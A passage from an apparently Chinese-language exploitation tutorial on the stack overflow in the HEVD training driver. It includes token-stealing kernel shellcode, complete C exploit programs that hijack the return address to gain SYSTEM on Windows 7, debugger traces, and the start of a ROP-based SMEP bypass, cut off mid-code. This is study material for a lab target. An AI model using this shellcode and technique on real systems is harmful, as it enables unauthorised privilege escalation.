edx</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">0xC0000001</span>;</span><br><span class="line">  Buffer = a2-&gt;Parameters.DeviceIoControl.Type3InputBuffer;</span><br><span class="line">  <span class="keyword">if</span> ( Buffer )</span><br><span class="line">    v2 = TriggerStackOverflow(Buffer, a2-&gt;Parameters.DeviceIoControl.InputBufferLength);</span><br><span class="line">  <span class="keyword">return</span> v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时逻辑就清晰了很多：读取<code>IO_STACK_LOCATION</code>指针指向的Buffer内容，并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __stdcall <span class="title function_">TriggerStackOverflow</span><span class="params">(<span class="type">void</span> *Address, <span class="type">size_t</span> MaxCount)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> Dst; <span class="comment">// [esp+14h] [ebp-81Ch]</span></span><br><span class="line">  CPPEH_RECORD ms_exc; <span class="comment">// [esp+818h] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;Dst, <span class="number">0</span>, <span class="number">0x800</span>u);</span><br><span class="line">  ms_exc.registration.TryLevel = <span class="number">0</span>;</span><br><span class="line">  ProbeForRead(Address, <span class="number">0x800</span>u, <span class="number">4u</span>);</span><br><span class="line">  DbgPrint(<span class="string">&quot;[+] UserBuffer: 0x%p\n&quot;</span>, Address);</span><br><span class="line">  DbgPrint(<span class="string">&quot;[+] UserBuffer Size: 0x%X\n&quot;</span>, MaxCount);</span><br><span class="line">  DbgPrint(<span class="string">&quot;[+] KernelBuffer: 0x%p\n&quot;</span>, &amp;Dst);</span><br><span class="line">  DbgPrint(<span class="string">&quot;[+] KernelBuffer Size: 0x%X\n&quot;</span>, <span class="number">2048</span>);</span><br><span class="line">  DbgPrint(<span class="string">&quot;[+] Triggering Stack Overflow\n&quot;</span>);</span><br><span class="line">  <span class="built_in">memcpy</span>(&amp;Dst, Address, MaxCount);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单介绍一下内核函数<code>ProbeForRead</code>：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">ProbeForRead</span><span class="params">(</span></span><br><span class="line"><span class="params">  <span class="type">const</span> <span class="keyword">volatile</span> VOID *Address,</span></span><br><span class="line"><span class="params">  SIZE_T              Length,</span></span><br><span class="line"><span class="params">  ULONG               Alignment</span></span><br><span class="line"><span class="params">)</span>;</span><br></pre></td></tr></table></figure><p>函数能够检查当前的地址是否属于用户态（访问地址是否越界），并且检查当前的地址是否是按照第三个参数要求的 Alignment 进行对齐。然后就会将当前传入的<code>Buffer</code>按照Buffer本身的<code>MaxCount</code>拷贝到栈上，从而造成栈溢出。</p><h2 id="利用分析">利用分析</h2><p>整个逻辑是分析清楚了：只要使用<code>DeviceIoControl</code>从用户端这边发送请求，并且使用的是<code>Buffer</code>,而且大小超过了<code>0x81c</code>，就会发生栈溢出，造成返回值被劫持。</p><h3 id="提权相关">提权相关</h3><p>单纯劫持返回值还不够，因为内核态并没有类似于<code>system</code>这类方便的劫持函数。在内核态实现劫持，根据平台的不同，会使用的不同的劫持方式</p><h4 id="win7">WIN7</h4><p>在Win7阶段，内核态并没有做过多的限制，所以<strong>可以在内核态执行用户态的程序</strong>。那么如果劫持了返回值，那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下：<br>首先在Windows操作系统中，所有的东西都被视为<strong>对象</strong>，每一个对象都有一个<strong>安全描述符（security descriptors）</strong>（长得有点像<code>(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)</code>这样的）其在内存中存储的形式通常为一个token。它会描述当前进程的所有者，以及其的相关权限，包括对文件的操作等等。这里最高的权限就是<code>NT AUTHORITY\SYSTEM</code>，系统权限拥有对所有文件的任意权力（相当于是su）。所以一般的提权思路就是：</p><ol><li>遍历当前所有进程</li><li>找到当前进程中的系统进程（通常来说进程号4的进程就是系统进程啦）</li><li>将其的安全描述符token复制到当前进程的安全描述符中，即可完成提权</li></ol><p>能够找到的payload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">pushad                               ; Save registers state</span><br><span class="line"></span><br><span class="line">; Start of Token Stealing Stub</span><br><span class="line">xor eax, eax                         ; Set ZERO</span><br><span class="line">mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread</span><br><span class="line">                                      ; _KTHREAD is located at FS:[0x124]</span><br><span class="line"></span><br><span class="line">mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process</span><br><span class="line"></span><br><span class="line">mov ecx, eax                         ; Copy current process _EPROCESS structure</span><br><span class="line"></span><br><span class="line">mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4</span><br><span class="line"></span><br><span class="line">SearchSystemPID:</span><br><span class="line">    mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink</span><br><span class="line">    sub eax, FLINK_OFFSET</span><br><span class="line">    cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId</span><br><span class="line">    jne SearchSystemPID</span><br><span class="line"></span><br><span class="line">mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token</span><br><span class="line">                                      ; with SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">; End of Token Stealing Stub</span><br><span class="line"></span><br><span class="line">popad                                ; Restore registers state</span><br><span class="line"></span><br><span class="line">; Kernel Recovery Stub</span><br><span class="line">xor eax, eax                         ; Set NTSTATUS SUCCEESS</span><br><span class="line">add esp, 12                          ; Fix the stack</span><br><span class="line">pop ebp                              ; Restore saved EBP</span><br><span class="line">ret 8                                ; Return cleanly</span><br></pre></td></tr></table></figure><h2 id="exp实现">EXP实现</h2><p>内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的，也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击，以及最近比较流行的使用powershell进行的攻击（这一类似乎被称之为fileless attack)</p><h3 id="c语言">C语言</h3><h4 id="通讯准备">通讯准备</h4><p>首先要能够实现最基本的通信，使用C（Cpp）的话，需要直接调用Windows系列的API对文件进行操作，如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;pch.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DEVICE_NAME <span class="string">L&quot;\\\\.\\HackSysExtremeVulnerableDriver&quot;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE <span class="title function_">GetDeviceHandle</span><span class="params">()</span> &#123;</span><br><span class="line">HANDLE hRet = <span class="literal">NULL</span>;</span><br><span class="line">hRet = CreateFile(</span><br><span class="line">DEVICE_NAME,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line">FILE_SHARE_READ | FILE_SHARE_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line">FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,</span><br><span class="line"><span class="literal">NULL</span></span><br><span class="line">);</span><br><span class="line"><span class="keyword">if</span> (hRet == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Error open Device with error code &quot;</span> &lt;&lt; GetLastError() &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> hRet;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Just Communicate with Driver</span></span><br><span class="line">VOID <span class="title function_">TriggerStackOverFlow</span><span class="params">(DWORD dwCTLCode)</span> &#123;</span><br><span class="line">HANDLE hDev = GetDeviceHandle();</span><br><span class="line"><span class="keyword">if</span> (!hDev)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;We Get handle is :&quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; hDev &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">DWORD dwSize = <span class="number">0x818</span>;</span><br><span class="line">DWORD dwRetSize = <span class="number">0</span>;</span><br><span class="line">CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);</span><br><span class="line">RtlFillMemory(Buffer, dwSize, <span class="string">&#x27;A&#x27;</span>);</span><br><span class="line"></span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== Kernel Mode  =============== [+]&quot;</span>);</span><br><span class="line">DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;dwRetSize, <span class="literal">NULL</span>);</span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== IOCTL Finish =============== [+]&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Finish Send IOCTL&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">HeapFree(GetProcessHeap(), <span class="number">0</span>, Buffer);</span><br><span class="line">Buffer = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;[+] Exerciese: Stack Overflow\n&quot;</span>; </span><br><span class="line">TriggerStackOverFlow(<span class="number">0x222003</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="提权攻击-win7">提权攻击(Win7)</h4><p>由于Win7上暂时没有太多的防护，所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding，然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情：以前我们都是直接弹出一个cmd结束攻击，然而提权攻击却不能只弹出一个cmd就完成攻击，这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后，我们需要有一个<strong>防止系统发现栈被破坏</strong>的操作。为了实现这一点，我们需要先观察一下栈中的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580</span><br><span class="line">eip=9ddf4dde esp=a36bda14 ebp=a36bda14 iopl=0         nv up ei ng nz na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286</span><br><span class="line">HackSysExtremeVulnerableDriver!StackOverflowIoctlHandler+0x20:</span><br><span class="line">9ddf4dde 5d              pop     ebp; ret     8</span><br><span class="line">1: kd&gt; ddp esp</span><br><span class="line">a36bda14  a36bda30 ;上一个栈的ebp</span><br><span class="line">a36bda18  9ddf42d3 ;函数返回值，即将被我们劫持</span><br><span class="line">a36bda1c  9bf37580 ;</span><br><span class="line">a36bda20  9bf375f0 </span><br><span class="line">a36bda24  00060000 ;ret之后，esp实际指向的位置</span><br><span class="line">a36bda28  a79efa88 </span><br><span class="line">a36bda2c  b01a6b0e </span><br><span class="line">a36bda30  a36bda4c ;函数 StackOverflowIoctlHandler 保存的的ebp</span><br><span class="line">a36bda34  81a3f958 ;函数 StackOverflowIoctlHandler 保存的返回值</span><br><span class="line">a36bda38  a79efa88 00b80003</span><br><span class="line">a36bda3c  9bf37580 00940006</span><br></pre></td></tr></table></figure><p>在距离返回值地址的0x18的位置上，正好有上一个函数的返回地址，所以当我们劫持了这个函数返回值的时候，在shellcode的末尾，我们可以加上一些额外的指令来实现恢复栈</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">xor eax, eax  ;伪装返回值</span><br><span class="line">add esp, 12   ;将栈调整到 StackOverflowIoctlHandler 的位置上</span><br><span class="line">pop ebp </span><br><span class="line">ret 8         ;这个地方照着 TriggerStackOverFlow 的结尾汇编写</span><br></pre></td></tr></table></figure><p>这里我们参考HEVD给出的参考答案:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;pch.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;payload.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DEVICE_NAME <span class="string">L&quot;\\\\.\\HackSysExtremeVulnerableDriver&quot;</span></span></span><br><span class="line"></span><br><span class="line">VOID <span class="title function_">TokenStealingPayloadWin7</span><span class="params">()</span> &#123;</span><br><span class="line"><span class="comment">// Importance of Kernel Recovery</span></span><br><span class="line">__asm &#123;</span><br><span class="line">pushad; Save registers state</span><br><span class="line"></span><br><span class="line">; Start of Token Stealing Stub</span><br><span class="line">xor eax, eax; Set ZERO</span><br><span class="line">mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread</span><br><span class="line">; _KTHREAD is located at FS : [<span class="number">0x124</span>]</span><br><span class="line"></span><br><span class="line">mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process</span><br><span class="line"></span><br><span class="line">mov ecx, eax; Copy current process _EPROCESS structure</span><br><span class="line"></span><br><span class="line">mov edx, SYSTEM_PID; WIN <span class="number">7</span> SP1 SYSTEM process PID = <span class="number">0x4</span></span><br><span class="line"></span><br><span class="line">SearchSystemPID:</span><br><span class="line">mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink</span><br><span class="line">sub eax, FLINK_OFFSET</span><br><span class="line">cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId</span><br><span class="line">jne SearchSystemPID</span><br><span class="line"></span><br><span class="line">mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token</span><br><span class="line">; with SYSTEM process nt!_EPROCESS.Token</span><br><span class="line">; End of Token Stealing Stub</span><br><span class="line"></span><br><span class="line">popad; Restore registers state</span><br><span class="line"></span><br><span class="line">; Kernel Recovery Stub</span><br><span class="line">xor eax, eax; Set NTSTATUS SUCCEESS</span><br><span class="line">add esp, <span class="number">12</span>; Fix the <span class="built_in">stack</span></span><br><span class="line">pop ebp; Restore saved EBP</span><br><span class="line">ret <span class="number">8</span>; Return cleanly</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE <span class="title function_">GetDeviceHandle</span><span class="params">()</span> &#123;</span><br><span class="line">HANDLE hRet = <span class="literal">NULL</span>;</span><br><span class="line">hRet = CreateFile(</span><br><span class="line">DEVICE_NAME,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line">FILE_SHARE_READ | FILE_SHARE_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line">FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,</span><br><span class="line"><span class="literal">NULL</span></span><br><span class="line">);</span><br><span class="line"><span class="keyword">if</span> (hRet == INVALID_HANDLE_VALUE) &#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Error open Device with error code &quot;</span> &lt;&lt; GetLastError() &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> hRet;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Just Communicate with Driver</span></span><br><span class="line">VOID <span class="title function_">TriggerStackOverFlow</span><span class="params">(DWORD dwCTLCode)</span> &#123;</span><br><span class="line">HANDLE hDev = GetDeviceHandle();</span><br><span class="line"><span class="keyword">if</span> (!hDev)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;We Get handle is :&quot;</span> &lt;&lt; <span class="built_in">std</span>::hex &lt;&lt; hDev &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">DWORD dwSize = <span class="number">0x824</span>;</span><br><span class="line">DWORD dwRetSize = <span class="number">0</span>;</span><br><span class="line">PVOID ExpAddress = &amp;TokenStealingPayloadWin7;</span><br><span class="line">PVOID RetAddress = <span class="literal">NULL</span>;</span><br><span class="line">CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);</span><br><span class="line">RtlFillMemory(Buffer, dwSize, <span class="string">&#x27;A&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// calculate ret address</span></span><br><span class="line">RetAddress = &amp;Buffer[<span class="number">0x820</span>];</span><br><span class="line">*(PULONG)RetAddress = (ULONG)ExpAddress;</span><br><span class="line"></span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== Kernel Mode  =============== [+]&quot;</span>);</span><br><span class="line">DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;dwRetSize, <span class="literal">NULL</span>);</span><br><span class="line">OutputDebugString(<span class="string">L&quot;[+]  =========== IOCTL Finish =============== [+]&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;Finish Send IOCTL&quot;</span> &lt;&lt; <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">HeapFree(GetProcessHeap(), <span class="number">0</span>, Buffer);</span><br><span class="line">Buffer = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">std</span>::<span class="built_in">cout</span> &lt;&lt; <span class="string">&quot;[+] Exerciese: Stack Overflow\n&quot;</span>; </span><br><span class="line">TriggerStackOverFlow(<span class="number">0x222003</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="提权攻击-win10">提权攻击(Win10)</h4><p>然而，如果用上述exp的话，似乎并没有那么顺利。我们调试可以看到如下结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8:</span><br><span class="line">9ddf4eaa c9              leave</span><br><span class="line">9ddf4eab c20800          ret     8</span><br><span class="line">;如果从这里执行下去的话，会看到如下的指令</span><br><span class="line">1: kd&gt; t</span><br><span class="line">00f214b0 53              push    ebx</span><br><span class="line">1: kd&gt; u 00f214b0</span><br><span class="line">00f214b0 53              push    ebx</span><br><span class="line">00f214b1 56              push    esi</span><br><span class="line">00f214b2 57              push    edi</span><br><span class="line">00f214b3 60              pushad</span><br><span class="line">00f214b4 33c0            xor     eax,eax</span><br><span class="line">00f214b6 648b8024010000  mov     eax,dword ptr fs:[eax+124h]</span><br><span class="line">00f214bd 8b4050          mov     eax,dword ptr [eax+50h]</span><br><span class="line">00f214c0 8bc8            mov     ecx,eax</span><br></pre></td></tr></table></figure><p>乍一看好像是成功的，但是如果让程序继续执行的话就会爆出如下的错误:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; t</span><br><span class="line">KDTARGET: Refreshing KD connection</span><br><span class="line"></span><br><span class="line">*** Fatal System Error: 0x000000fc</span><br><span class="line">                       (0x00F214B0,0x25EEE125,0xA37449A0,0x80000005)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">A fatal system error has occurred.</span><br><span class="line">Debugger entered on first try; Bugcheck callbacks have not been invoked.</span><br><span class="line"></span><br><span class="line">A fatal system error has occurred.</span><br></pre></td></tr></table></figure><p>这个错误码的意思是<code>ATTEMPTED EXECUTE ON NOEXECUTE MEMORY</code>，因为从Win 8.1 开始，Windows 就有了一种新的保护措施，叫做<code>Supervisor Mode Execution Prevention(SMEP)</code>。在这个保护下，不能在ring 0 的环境中执行 ring 3的代码。到了这个时候，就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用<strong>ROP</strong>攻击，修改<code>cr4</code>寄存器内容。一个常见的函数就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.text:00401000</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">.text:0048BF1D                 pop     eax</span><br><span class="line">.text:0048BF1E                 retn</span><br><span class="line"></span><br><span class="line">KeFlushCurrentTb</span><br><span class="line"></span><br><span class="line">.text:0057DF86                 mov     cr4, eax</span><br><span class="line">.text:0057DF89                 retn</span><br><span class="line">; 这里用IDA观察有一个bug(?)，内存中的一些值没有按照真正的值进行映射（也可能是相对偏移的锅？）然后导致一些数据的位置不对。。。最后的偏移量需要动态调试得到</span><br></pre></td></tr></table></figure><p>利用这个ROP，让RCX赋值为CR4。不过这里注意一点，由于这里使用的，此时如果使用IDA观察的话，需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.text:00401000 ; Section 1. (virtual address 00001000)</span><br><span class="line">.text:00401000 ; Virtual size                  : 00295B24 (2710308.)</span><br><span class="line">.text:00401000 ; Section size in file          : 00295C00 (2710528.)</span><br></pre></td></tr></table></figure><p>每个段开头都会有一个<code>virtual address</code>，这个值表示的是当前段会映射的地址，具体计算方式为<code>real_address = image_base_address + virtual_address</code>。也就是说此时的<code>.text</code>段在内存中的真正的地址为:<br><code>real_text = image_base_address + 0x1000</code></p><p>然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">For analysis of this file, run !analyze -v</span><br><span class="line">nt!RtlpBreakWithStatusInstruction:</span><br><span class="line">81b66484 cc              int     3</span><br><span class="line">1: kd&gt; r cr4</span><br><span class="line">cr4=001406e9</span><br></pre></td></tr></table></figure><p>上网查找可知，第20bit为1表示的是SMEP打开（记得从低位往高位数，并且第一位数字是第0bit，第二位数字是第1bit），那么我们只需要将这一bit置0，即可以将这种防护关闭，此时也就是将值改成<code>0x0406e9</code>。<br>有了ROP，那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式，一个叫做:<code>EnumDrivers</code>的API，另一种是利用<code>NtQueryInformationSystem</code>的方式获取。前者是官方给出的API，通过调用直接获取地址，而后者是则是通过逆向分析+动态调试，验证可知当前的地址空间上存放的是<code>ntoskrl.exe</code>的基地址。<br>前者直接就是一个API:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">BOOL <span 